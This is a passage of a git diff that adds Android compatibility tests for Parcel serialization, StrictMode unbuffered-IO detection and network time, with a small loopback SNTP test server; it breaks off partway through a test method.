+        p.readInterfaceList(arrayList2, MockIInterface::asInterface);
+        assertEquals(arrayList, arrayList2);
+
+        p.setDataPosition(0);
+        // create a new ArrayList from parcel
+        arrayList3 = p.createInterfaceArrayList(MockIInterface::asInterface);
+        assertEquals(arrayList, arrayList3);
+        p.recycle();
+    }
+
+    public void testFixedArray() {
+        Parcel p = Parcel.obtain();
+
+        //  test int[2][3]
+        int[][] ints = new int[][] {{1,2,3}, {4,5,6}};
+        p.writeFixedArray(ints, 0, new int[]{2, 3});
+        p.setDataPosition(0);
+        assertArrayEquals(ints, p.createFixedArray(int[][].class, new int[]{2, 3}));
+        int[][] readInts = new int[2][3];
+        p.setDataPosition(0);
+        p.readFixedArray(readInts);
+        assertArrayEquals(ints, readInts);
+
+        // test Parcelable[2][3]
+        p.setDataPosition(0);
+        Signature[][] signatures = {
+            {new Signature("1234"), new Signature("ABCD"), new Signature("abcd")},
+            {new Signature("5678"), new Signature("EFAB"), new Signature("efab")}};
+        p.writeFixedArray(signatures, 0, new int[]{2, 3});
+        p.setDataPosition(0);
+        assertArrayEquals(signatures, p.createFixedArray(Signature[][].class, Signature.CREATOR, new int[]{2, 3}));
+        Signature[][] readSignatures = new Signature[2][3];
+        p.setDataPosition(0);
+        p.readFixedArray(readSignatures, Signature.CREATOR);
+        assertArrayEquals(signatures, readSignatures);
+
+        // test IInterface[2][3]
+        p.setDataPosition(0);
+        MockIInterface[][] interfaces = {
+            {new MockIInterface(), new MockIInterface(), new MockIInterface()},
+            {new MockIInterface(), new MockIInterface(), new MockIInterface()}};
+        p.writeFixedArray(interfaces, 0, new int[]{2, 3});
+        p.setDataPosition(0);
+        MockIInterface[][] interfacesRead = p.createFixedArray(MockIInterface[][].class,
+            MockIInterface::asInterface, new int[]{2, 3});
+        assertEquals(2, interfacesRead.length);
+        assertEquals(3, interfacesRead[0].length);
+        MockIInterface[][] mockInterfaces = new MockIInterface[2][3];
+        p.setDataPosition(0);
+        p.readFixedArray(mockInterfaces, MockIInterface::asInterface);
+        assertArrayEquals(interfaces, mockInterfaces);
+
+        // test null
+        p.setDataPosition(0);
+        int[][] nullInts = null;
+        p.writeFixedArray(nullInts, 0, new int[]{2, 3});
+        p.setDataPosition(0);
+        assertNull(p.createFixedArray(int[][].class, new int[]{2, 3}));
+
+        // reject wrong dimensions when writing
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class,
+            () -> p.writeFixedArray(new int[3][2], 0, new int[]{2, 2}));
+        assertThrows(BadParcelableException.class,
+            () -> p.writeFixedArray(new int[3], 0, new int[]{3, 2}));
+        assertThrows(BadParcelableException.class,
+            () -> p.writeFixedArray(new int[3][2], 0, new int[]{3}));
+
+        // reject wrong dimensions when reading
+        p.setDataPosition(0);
+        p.writeFixedArray(new int[2][3], 0, new int[]{2, 3});
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.createFixedArray(int[][].class, 1, 3));
+        assertThrows(BadParcelableException.class, () -> p.createFixedArray(int[][].class, 2, 2));
+
+        p.recycle();
+    }
+
     @SuppressWarnings("unchecked")
     public void testWriteMap() {
         Parcel p;
@@ -2915,6 +3734,84 @@
         p.recycle();
     }
 
+    public void testReadMapWithClass_whenNull() {
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+        p.writeMap(null);
+        HashMap<String, Intent> map = new HashMap<>();
+
+        p.setDataPosition(0);
+        p.readMap(map, mcl, String.class, Intent.class);
+        assertEquals(0, map.size());
+
+        p.recycle();
+    }
+
+    public void testReadMapWithClass_whenMismatchingClass() {
+        Parcel p = Parcel.obtain();
+        ClassLoader loader = getClass().getClassLoader();
+        HashMap<Signature, TestSubIntent> map = new HashMap<>();
+
+        Intent baseIntent = new Intent();
+        map.put(new Signature("1234"), new TestSubIntent(
+                baseIntent, "test_intent1"));
+        map.put(new Signature("4321"), new TestSubIntent(
+                baseIntent, "test_intent2"));
+        p.writeMap(map);
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () ->
+                p.readMap(new HashMap<Intent, TestSubIntent>(), loader,
+                        Intent.class, TestSubIntent.class));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () ->
+                p.readMap(new HashMap<Signature, Signature>(), loader,
+                        Signature.class, Signature.class));
+        p.recycle();
+    }
+
+    public void testReadMapWithClass_whenSameClass() {
+        Parcel p = Parcel.obtain();
+        ClassLoader loader = getClass().getClassLoader();
+        HashMap<String, TestSubIntent> map = new HashMap<>();
+        HashMap<String, TestSubIntent> map2 = new HashMap<>();
+
+        Intent baseIntent = new Intent();
+        map.put("key1", new TestSubIntent(
+                baseIntent, "test_intent1"));
+        map.put("key2", new TestSubIntent(
+                baseIntent, "test_intent2"));
+        p.writeMap(map);
+        p.setDataPosition(0);
+        p.readMap(map2, loader, String.class, TestSubIntent.class);
+        assertEquals(map, map2);
+
+        p.recycle();
+    }
+
+    public void testReadMapWithClass_whenSubClass() {
+        Parcel p = Parcel.obtain();
+        ClassLoader loader = getClass().getClassLoader();
+        HashMap<TestSubIntent, TestSubIntent> map = new HashMap<>();
+
+        Intent baseIntent = new Intent();
+        map.put(new TestSubIntent(baseIntent, "test_intent_key1"), new TestSubIntent(
+                baseIntent, "test_intent_val1"));
+        p.writeMap(map);
+        p.setDataPosition(0);
+        HashMap<Intent, Intent> map2 = new HashMap<>();
+        p.readMap(map2, loader, Intent.class, TestSubIntent.class);
+        assertEquals(map, map2);
+
+        p.setDataPosition(0);
+        HashMap<Intent, Intent> map3 = new HashMap<>();
+        p.readMap(map3, loader, TestSubIntent.class, Intent.class);
+        assertEquals(map, map3);
+
+        p.recycle();
+    }
+
     @SuppressWarnings("unchecked")
     public void testReadHashMap() {
         Parcel p;
@@ -2945,6 +3842,85 @@
         p.recycle();
     }
 
+    public void testReadHashMapWithClass_whenNull() {
+        Parcel p = Parcel.obtain();
+        MockClassLoader mcl = new MockClassLoader();
+        p.writeMap(null);
+        p.setDataPosition(0);
+        assertNull(p.readHashMap(mcl, String.class, Intent.class));
+
+        p.setDataPosition(0);
+        assertNull(p.readHashMap(null, String.class, Intent.class));
+        p.recycle();
+    }
+
+    public void testReadHashMapWithClass_whenMismatchingClass() {
+        Parcel p = Parcel.obtain();
+        ClassLoader loader = getClass().getClassLoader();
+        HashMap<Signature, TestSubIntent> map = new HashMap<>();
+
+        Intent baseIntent = new Intent();
+        map.put(new Signature("1234"), new TestSubIntent(
+                baseIntent, "test_intent1"));
+        map.put(new Signature("4321"), new TestSubIntent(
+                baseIntent, "test_intent2"));
+        p.writeMap(map);
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () ->
+                p.readHashMap(loader, Intent.class, TestSubIntent.class));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () ->
+                p.readHashMap(loader, Signature.class, Signature.class));
+        p.recycle();
+    }
+
+    public void testReadHashMapWithClass_whenSameClass() {
+        Parcel p = Parcel.obtain();
+        ClassLoader loader = getClass().getClassLoader();
+        HashMap<String, TestSubIntent> map = new HashMap<>();
+
+        Intent baseIntent = new Intent();
+        map.put("key1", new TestSubIntent(
+                baseIntent, "test_intent1"));
+        map.put("key2", new TestSubIntent(
+                baseIntent, "test_intent2"));
+
+        p.writeMap(map);
+        p.setDataPosition(0);
+        HashMap<String, TestSubIntent> map2 = p.readHashMap(loader, String.class,
+                TestSubIntent.class);
+        assertEquals(map, map2);
+
+        p.setDataPosition(0);
+        HashMap<Object, Intent> map3 = p.readHashMap(loader, String.class,
+                TestSubIntent.class);
+        assertEquals(map, map3);
+
+        p.recycle();
+    }
+
+    public void testReadHashMapWithClass_whenSubClass() {
+        Parcel p = Parcel.obtain();
+        ClassLoader loader = getClass().getClassLoader();
+        HashMap<TestSubIntent, TestSubIntent> map = new HashMap<>();
+
+        Intent baseIntent = new Intent();
+        TestSubIntent test_intent_key1 = new TestSubIntent(baseIntent, "test_intent_key1");
+        map.put(test_intent_key1, new TestSubIntent(
+                baseIntent, "test_intent_val1"));
+        p.writeMap(map);
+        p.setDataPosition(0);
+        HashMap<Intent, Intent> map2 = p.readHashMap(loader, Intent.class, TestSubIntent.class);
+        assertEquals(map, map2);
+
+        p.setDataPosition(0);
+        HashMap<Intent, Intent> map3 = p.readHashMap(loader, TestSubIntent.class, Intent.class);
+        assertEquals(map, map3);
+        p.recycle();
+    }
+
     @SuppressWarnings("unchecked")
     public void testReadList() {
         Parcel p;
@@ -2975,6 +3951,79 @@
         for (int i = 0; i < arrayList.size(); i++) {
             assertEquals(arrayList.get(i), arrayList2.get(i));
         }
+
+        p.recycle();
+    }
+
+    @SuppressWarnings("unchecked")
+    public void testReadListWithClass() {
+        Parcel p;
+        MockClassLoader mcl = new MockClassLoader();
+        ArrayList<Signature> arrayList = new ArrayList();
+        ArrayList<Signature> parcelableArrayList = new ArrayList();
+        final String s1  = "1234567890abcdef";
+        final String s2  = "abcdef1234567890";
+        parcelableArrayList.add(new Signature(s1));
+        parcelableArrayList.add(new Signature(s2));
+
+        p = Parcel.obtain();
+        p.writeList(parcelableArrayList);
+        p.setDataPosition(0);
+        assertEquals(0, arrayList.size());
+        p.readList(arrayList, mcl, Signature.class);
+        assertEquals(2, arrayList.size());
+        for (int i = 0; i < arrayList.size(); i++) {
+            assertEquals(arrayList.get(i), parcelableArrayList.get(i));
+        }
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readList(new ArrayList(), mcl, Intent.class));
+
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p.readList(new ArrayList(), mcl, Integer.class));
+        p.recycle();
+
+        ArrayList<String> stringArrayList = new ArrayList();
+        stringArrayList.add(s1);
+        stringArrayList.add(s2);
+        Parcel p1 = Parcel.obtain();
+        p1.writeList(stringArrayList);
+
+        p1.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () -> p1.readList(new ArrayList(), mcl, Integer.class));
+        p1.recycle();
+    }
+
+    @SuppressWarnings("unchecked")
+    public void testReadListWithSubClass() {
+        Parcel p;
+        ArrayList<Intent> arrayList = new ArrayList();
+        ArrayList<Intent> arrayList2 = new ArrayList();
+        ArrayList<Intent> parcelableArrayList = new ArrayList();
+        final Intent baseIntent = new Intent();
+        final TestSubIntent testSubIntent = new TestSubIntent(baseIntent, "1234567890abcdef");
+        final TestSubIntent testSubIntent1 = new TestSubIntent(baseIntent, "abcdef1234567890");
+        parcelableArrayList.add(testSubIntent);
+        parcelableArrayList.add(testSubIntent1);
+
+        p = Parcel.obtain();
+        p.writeList(parcelableArrayList);
+        p.setDataPosition(0);
+        assertEquals(0, arrayList.size());
+        p.readList(arrayList, getClass().getClassLoader(), Intent.class);
+        assertEquals(2, arrayList.size());
+        for (int i = 0; i < arrayList.size(); i++) {
+            assertEquals(arrayList.get(i), parcelableArrayList.get(i));
+        }
+
+        p.setDataPosition(0);
+        assertEquals(0, arrayList2.size());
+        p.readList(arrayList2, getClass().getClassLoader(), TestSubIntent.class);
+        assertEquals(2, arrayList2.size());
+        for (int i = 0; i < arrayList2.size(); i++) {
+            assertEquals(arrayList2.get(i), parcelableArrayList.get(i));
+        }
+
         p.recycle();
     }
 
@@ -3046,16 +4095,27 @@
         }
     }
 
-    private class MockIInterface implements IInterface {
+    private static class MockIInterface implements IInterface {
         public Binder binder;
-
+        private static final String DESCRIPTOR = "MockIInterface";
         public MockIInterface() {
             binder = new Binder();
+            binder.attachInterface(this, DESCRIPTOR);
         }
 
         public IBinder asBinder() {
             return binder;
         }
+
+        public static MockIInterface asInterface(IBinder binder) {
+            if (binder != null) {
+                IInterface iface = binder.queryLocalInterface(DESCRIPTOR);
+                if (iface != null && iface instanceof MockIInterface) {
+                    return (MockIInterface) iface;
+                }
+            }
+            return null;
+        }
     }
 
     private static boolean parcelableWithBadCreatorInitializerHasRun;
@@ -3248,6 +4308,68 @@
         assertEquals(56, list.get(1).getValue());
     }
 
+    public void testReadParcelableListWithClass_whenNull(){
+        final Parcel p = Parcel.obtain();
+        ArrayList<Intent> list = new ArrayList<>();
+        list.add(new Intent("test"));
+
+        p.writeParcelableList(null, 0);
+        p.setDataPosition(0);
+        p.readParcelableList(list, getClass().getClassLoader(), Intent.class);
+        assertEquals(0, list.size());
+        p.recycle();
+    }
+
+    public void testReadParcelableListWithClass_whenMismatchingClass(){
+        final Parcel p = Parcel.obtain();
+        ArrayList<Signature> list = new ArrayList<>();
+        ArrayList<Intent> list1 = new ArrayList<>();
+        list.add(new Signature("1234"));
+        p.writeParcelableList(list, 0);
+        p.setDataPosition(0);
+        assertThrows(BadParcelableException.class, () ->
+                p.readParcelableList(list1, getClass().getClassLoader(), Intent.class));
+
+        p.recycle();
+    }
+
+    public void testReadParcelableListWithClass_whenSameClass(){
+        final Parcel p = Parcel.obtain();
+        ArrayList<Signature> list = new ArrayList<>();
+        ArrayList<Signature> list1 = new ArrayList<>();
+        list.add(new Signature("1234"));
+        list.add(new Signature("4321"));
+        p.writeParcelableList(list, 0);
+        p.setDataPosition(0);
+        p.readParcelableList(list1, getClass().getClassLoader(), Signature.class);
+
+        assertEquals(list, list1);
+        p.recycle();
+    }
+
+    public void testReadParcelableListWithClass_whenSubClass(){
+        final Parcel p = Parcel.obtain();
+        final Intent baseIntent = new Intent();
+
+        ArrayList<Intent> intentArrayList = new ArrayList<>();
+        ArrayList<Intent> intentArrayList1 = new ArrayList<>();
+        ArrayList<Intent> intentArrayList2 = new ArrayList<>();
+
+        intentArrayList.add(new TestSubIntent(baseIntent, "1234567890abcdef"));
+        intentArrayList.add(null);
+        intentArrayList.add(new TestSubIntent(baseIntent, "abcdef1234567890"));
+
+        p.writeParcelableList(intentArrayList, 0);
+        p.setDataPosition(0);
+        p.readParcelableList(intentArrayList1, getClass().getClassLoader(), Intent.class);
+        assertEquals(intentArrayList, intentArrayList1);
+
+        p.setDataPosition(0);
+        p.readParcelableList(intentArrayList2, getClass().getClassLoader(), TestSubIntent.class);
+        assertEquals(intentArrayList, intentArrayList2);
+        p.recycle();
+    }
+
     // http://b/35384981
     public void testCreateArrayWithTruncatedParcel() {
         Parcel parcel = Parcel.obtain();
@@ -3378,6 +4500,53 @@
                 reply.readStrongBinder());
     }
 
+    private static class TestSubIntent extends Intent {
+        private final String mString;
+
+        public TestSubIntent(Intent baseIntent, String s) {
+            super(baseIntent);
+            mString = s;
+        }
+
+        public void writeToParcel(Parcel dest, int parcelableFlags) {
+            super.writeToParcel(dest, parcelableFlags);
+            dest.writeString(mString);
+        }
+
+        TestSubIntent(Parcel in) {
+            readFromParcel(in);
+            mString = in.readString();
+        }
+
+        public static final Creator<TestSubIntent> CREATOR = new Creator<TestSubIntent>() {
+            public TestSubIntent createFromParcel(Parcel source) {
+                return new TestSubIntent(source);
+            }
+
+            @Override
+            public TestSubIntent[] newArray(int size) {
+                return new TestSubIntent[size];
+            }
+        };
+
+        @Override
+        public boolean equals(Object obj) {
+            final TestSubIntent other = (TestSubIntent) obj;
+            return mString.equals(other.mString);
+        }
+
+        @Override
+        public int hashCode() {
+            return mString.hashCode();
+        }
+    }
+
+    private static class TestSubException extends Exception{
+        public TestSubException(String msg) {
+            super(msg);
+        }
+    }
+
     public static class ParcelObjectFreeService extends Service {
 
         @Override
@@ -3472,4 +4641,83 @@
                 p.readStrongBinder());
         p.recycle();
     }
+
+    public void testFlags() {
+        Parcel p;
+
+        p = Parcel.obtain();
+        assertEquals(0, p.getFlags());
+        p.setPropagateAllowBlocking();
+        assertEquals(Parcel.FLAG_PROPAGATE_ALLOW_BLOCKING, p.getFlags());
+
+        // recycle / obtain should clear the flag.
+        p.recycle();
+        p = Parcel.obtain();
+        assertEquals(0, p.getFlags());
+    }
+
+    public static class SimpleParcelableWithoutNestedCreator implements Parcelable {
+        private final int value;
+
+        public SimpleParcelableWithoutNestedCreator(int value) {
+            this.value = value;
+        }
+
+        private SimpleParcelableWithoutNestedCreator(Parcel in) {
+            this.value = in.readInt();
+        }
+
+        public int getValue() {
+            return value;
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel out, int flags) {
+            out.writeInt(value);
+        }
+
+        public static Parcelable.Creator<SimpleParcelableWithoutNestedCreator> CREATOR =
+                new SimpleParcelableWithoutNestedCreatorCreator();
+    }
+
+    public static class SimpleParcelableWithoutNestedCreatorCreator implements
+            Parcelable.Creator<SimpleParcelableWithoutNestedCreator> {
+        @Override
+        public SimpleParcelableWithoutNestedCreator createFromParcel(Parcel source) {
+            return new SimpleParcelableWithoutNestedCreator(source);
+        }
+
+        @Override
+        public SimpleParcelableWithoutNestedCreator[] newArray(int size) {
+            return new SimpleParcelableWithoutNestedCreator[size];
+        }
+    }
+
+    // http://b/232589966
+    public void testReadParcelableWithoutNestedCreator() {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(new SimpleParcelableWithoutNestedCreator(1), 0);
+        p.setDataPosition(0);
+        // First time checks the type of the creator using reflection
+        SimpleParcelableWithoutNestedCreator parcelable =
+                p.readParcelable(getClass().getClassLoader(),
+                        SimpleParcelableWithoutNestedCreator.class);
+        assertEquals(1, parcelable.value);
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeParcelable(new SimpleParcelableWithoutNestedCreator(2), 0);
+        p.setDataPosition(0);
+        // Second time tries to read it from a cache
+        parcelable =
+                p.readParcelable(getClass().getClassLoader(),
+                        SimpleParcelableWithoutNestedCreator.class);
+        assertEquals(2, parcelable.value);
+        p.recycle();
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SntpTestServer.java b/tests/tests/os/src/android/os/cts/SntpTestServer.java
new file mode 100644
index 0000000..bca6dd1
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SntpTestServer.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.DatagramPacket;
+import java.net.DatagramSocket;
+import java.net.InetAddress;
+import java.net.SocketException;
+import java.util.Arrays;
+
+/**
+ * Simple Sntp Server implementation for testing purpose.
+ * This is copied from {@code SntpClientTest}.
+ */
+public class SntpTestServer {
+    private final static String TAG = SntpTestServer.class.getSimpleName();
+    private static final int ORIGINATE_TIME_OFFSET = 24;
+    private static final int TRANSMIT_TIME_OFFSET = 40;
+
+    private final Object mLock = new Object();
+    private final DatagramSocket mSocket;
+    private final InetAddress mAddress;
+    private final int mPort;
+    private byte[] mReply;
+    private boolean mGenerateValidOriginateTimestamp = true;
+    private int mRcvd;
+    private int mSent;
+    private Thread mListeningThread;
+
+    public SntpTestServer() {
+        mSocket = makeSocket();
+        mAddress = mSocket.getLocalAddress();
+        mPort = mSocket.getLocalPort();
+        Log.d(TAG, "testing server listening on (" + mAddress + ", " + mPort + ")");
+
+        mListeningThread = new Thread() {
+            public void run() {
+                while (true) {
+                    byte[] buffer = new byte[512];
+                    DatagramPacket ntpMsg = new DatagramPacket(buffer, buffer.length);
+                    try {
+                        mSocket.receive(ntpMsg);
+                    } catch (IOException e) {
+                        Log.e(TAG, "datagram receive error: " + e);
+                        break;
+                    }
+                    synchronized (mLock) {
+                        mRcvd++;
+                        if (mReply == null) { continue; }
+                        if (mGenerateValidOriginateTimestamp) {
+                            // Copy the transmit timestamp into originate timestamp: This is
+                            // validated by well-behaved clients.
+                            System.arraycopy(ntpMsg.getData(), TRANSMIT_TIME_OFFSET,
+                                    mReply, ORIGINATE_TIME_OFFSET, 8);
+                        } else {
+                            // Fill it with junk instead.
+                            Arrays.fill(mReply, ORIGINATE_TIME_OFFSET,
+                                    ORIGINATE_TIME_OFFSET + 8, (byte) 0xFF);
+                        }
+                        ntpMsg.setData(mReply);
+                        ntpMsg.setLength(mReply.length);
+                        try {
+                            mSocket.send(ntpMsg);
+                        } catch (IOException e) {
+                            Log.e(TAG, "datagram send error: " + e);
+                            break;
+                        }
+                        mSent++;
+                    }
+                }
+                mSocket.close();
+            }
+        };
+        mListeningThread.start();
+    }
+
+    private DatagramSocket makeSocket() {
+        DatagramSocket socket;
+        try {
+            socket = new DatagramSocket(0, InetAddress.getLoopbackAddress());
+        } catch (SocketException e) {
+            Log.e(TAG, "Failed to create test server socket: " + e);
+            return null;
+        }
+        return socket;
+    }
+
+    public void clearServerReply() {
+        setServerReply(null);
+    }
+
+    public void setServerReply(byte[] reply) {
+        synchronized (mLock) {
+            mReply = reply;
+            mRcvd = 0;
+            mSent = 0;
+        }
+    }
+
+    /**
+     * Controls the test server's behavior of copying the client's transmit timestamp into the
+     * response's originate timestamp (which is required of a real server).
+     */
+    public void setGenerateValidOriginateTimestamp(boolean enabled) {
+        synchronized (mLock) {
+            mGenerateValidOriginateTimestamp = enabled;
+        }
+    }
+
+    public InetAddress getAddress() { return mAddress; }
+    public int getPort() { return mPort; }
+    public int numRequestsReceived() { synchronized (mLock) { return mRcvd; } }
+    public int numRepliesSent() { synchronized (mLock) { return mSent; } }
+}
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 65ce191..3e2bce4 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -46,6 +46,7 @@
 import android.os.Binder;
 import android.os.IBinder;
 import android.os.RemoteException;
+import android.os.strictmode.UnbufferedIoViolation;
 import android.os.StrictMode;
 import android.os.StrictMode.ThreadPolicy.Builder;
 import android.os.StrictMode.ViolationInfo;
@@ -105,6 +106,9 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Consumer;
+import java.util.Random;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
 
 /** Tests for {@link StrictMode} */
 @RunWith(AndroidJUnit4.class)
@@ -559,6 +563,55 @@
     }
 
     @Test
+    public void testUnbufferedIoGZipInput() throws Exception {
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectUnbufferedIo().penaltyLog().build());
+
+        inspectViolation(
+                () -> {
+                    File tmp = File.createTempFile("StrictModeTest", "tmp");
+                    try (FileOutputStream fos = new FileOutputStream(tmp);
+                         GZIPOutputStream gzippedOut = new GZIPOutputStream(fos)) {
+                        byte[] data = new byte[10240];
+                        new Random().nextBytes(data);
+                        gzippedOut.write(data);
+                    }
+
+                    try (FileInputStream fileInputStream = new FileInputStream(tmp);
+                        GZIPInputStream in = new GZIPInputStream(fileInputStream)) {
+
+                        byte[] buffer = new byte[1024];
+                        while (in.read(buffer) != -1) {}
+                    }
+                },
+                info -> assertThat(info.getViolationClass())
+                        .isAssignableTo(UnbufferedIoViolation.class));
+    }
+
+    @Test
+    public void testUnbufferedIoGZipOutput() throws Exception {
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectUnbufferedIo().penaltyLog().build());
+
+        inspectViolation(
+                () -> {
+                    byte[] data = new byte[512];
+                    Random random = new Random(0);
+                    try (FileOutputStream ostream = new FileOutputStream(
+                            File.createTempFile("StrictModeTest","testUnbufferedIo.dat"));
+                        GZIPOutputStream gzippedOut = new GZIPOutputStream(ostream)) {
+                        for (int i = 0; i < 9; i++) {
+                            random.nextBytes(data);
+                            gzippedOut.write(data, 0, data.length);
+                        }
+                    }
+                },
+                info -> assertThat(info.getViolationClass())
+                        .isAssignableTo(UnbufferedIoViolation.class));
+    }
+
+
+    @Test
     public void testViolationAcrossBinder() throws Exception {
         runWithRemoteServiceBound(
                 getContext(),
diff --git a/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java b/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
new file mode 100644
index 0000000..35e12d3
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SystemClockSntpTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Range;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.time.DateTimeException;
+import java.time.Duration;
+import java.time.Instant;
+
+@RunWith(AndroidJUnit4.class)
+public class SystemClockSntpTest {
+    // Mocked server response. Refer to SntpClientTest.
+    private static final String MOCKED_NTP_RESPONSE =
+            "240206ec"
+                    + "00000165"
+                    + "000000b2"
+                    + "ddfd4729"
+                    + "d9ca9446820a5000"
+                    + "d9ca9451938a3771"
+                    + "d9ca945194bd3fff"
+                    + "d9ca945194bd4001";
+    // The midpoint between d9ca945194bd3fff and d9ca945194bd4001, d9ca9451.94bd4000 represents
+    // (decimal) 1444943313.581012726 seconds in the Unix epoch, which is
+    // ~2015-10-15 21:08:33.581 UTC.
+    private static long MOCKED_NTP_TIMESTAMP = 1444943313581L;
+    private static long TEST_NTP_TIMEOUT_MILLIS = 300L;
+
+    private SntpTestServer mServer;
+    private Instant mSetupInstant;
+    private long mSetupElapsedRealtimeMillis;
+
+    @Before
+    public void setUp() {
+        mSetupInstant = Instant.now();
+        mSetupElapsedRealtimeMillis = SystemClock.elapsedRealtime();
+    }
+
+    @After
+    public void tearDown() {
+        // Restore NTP server configuration.
+        executeShellCommand("cmd network_time_update_service set_server_config");
+        // Clear any stored fake NTP time that may have been introduced by tests.
+        executeShellCommand("cmd network_time_update_service clear_time");
+        // Try to refresh the NTP time from a real server (this may fail to have any effect if the
+        // real server is unreachable).
+        executeShellCommand("cmd network_time_update_service force_refresh");
+
+        // If the system clock has been set to a time before or significantly after mSetupInstant as
+        // a result of running tests, make best efforts to restore it to close to what it was to
+        // avoid interfering with later tests, e.g. the refresh above might have failed, and tests
+        // might be leaving the system clock set to a time in history / in the future that could
+        // cause root cert validity checks to fail. The system clock will have been left unchanged
+        // by tests if NTP isn't being used as the primary time zone detection mechanism or if the
+        // times used in tests were obviously invalid and rejected by the time detector.
+        Instant currentSystemClockTime = Instant.now();
+        if (currentSystemClockTime.isBefore(mSetupInstant)
+                || currentSystemClockTime.isAfter(mSetupInstant.plus(Duration.ofHours(1)))) {
+            // Adjust mSetupInstant for (approximately) time elapsed.
+            Duration timeElapsed = Duration.ofMillis(
+                    SystemClock.elapsedRealtime() - mSetupElapsedRealtimeMillis);
+            Instant newNow = mSetupInstant.plus(timeElapsed);
+
+            // Set the system clock directly as there is currently no way easy way to inject time
+            // suggestions into the time_detector service from the commandline.
+            executeShellCommand("cmd alarm set-time " + newNow.toEpochMilli());
+        }
+    }
+
+    @AppModeFull(reason = "Cannot bind socket in instant app mode")
+    @Test
+    public void testCurrentNetworkTimeClock() throws Exception {
+        // Start a local SNTP test server. But does not setup a fake response.
+        // So the server will not reply to any request.
+        runWithShellPermissionIdentity(() -> mServer = new SntpTestServer());
+
+        // Write test server address into settings.
+        executeShellCommand(
+                "cmd network_time_update_service set_server_config --hostname "
+                        + mServer.getAddress().getHostAddress()
+                        + " --port " + mServer.getPort()
+                        + " --timeout_millis " + TEST_NTP_TIMEOUT_MILLIS);
+
+        // Clear current NTP value and verify it throws exception.
+        executeShellCommand("cmd network_time_update_service clear_time");
+
+        // Verify the case where the device hasn't made an NTP request yet.
+        assertThrows(DateTimeException.class, () -> SystemClock.currentNetworkTimeClock().millis());
+
+        // Trigger NtpTrustedTime refresh with the new command.
+        executeShellCommandAndAssertOutput(
+                "cmd network_time_update_service force_refresh", "false");
+
+        // Verify the returned clock throws since there is still no previous NTP fix.
+        assertThrows(DateTimeException.class, () -> SystemClock.currentNetworkTimeClock().millis());
+
+        // Setup fake responses (Refer to SntpClientTest). And trigger NTP refresh.
+        mServer.setServerReply(HexEncoding.decode(MOCKED_NTP_RESPONSE));
+
+        // After force_refresh, network_time_update_service should have associated
+        // MOCKED_NTP_TIMESTAMP with an elapsedRealtime() value between
+        // beforeRefreshElapsedMillis and afterRefreshElapsedMillis.
+        final long beforeRefreshElapsedMillis = SystemClock.elapsedRealtime();
+        executeShellCommandAndAssertOutput("cmd network_time_update_service force_refresh", "true");
+        final long afterRefreshElapsedMillis = SystemClock.elapsedRealtime();
+
+        // Request the current Unix epoch time. Assert value of SystemClock#currentNetworkTimeClock.
+        assertCurrentNetworkTimeClockInBounds(MOCKED_NTP_TIMESTAMP, beforeRefreshElapsedMillis,
+                afterRefreshElapsedMillis);
+
+        // Simulate some time passing and verify that SystemClock returns an updated time
+        // using the same NTP signal.
+        final long PASSED_DURATION_MS = 100L;
+        Thread.sleep(PASSED_DURATION_MS);
+
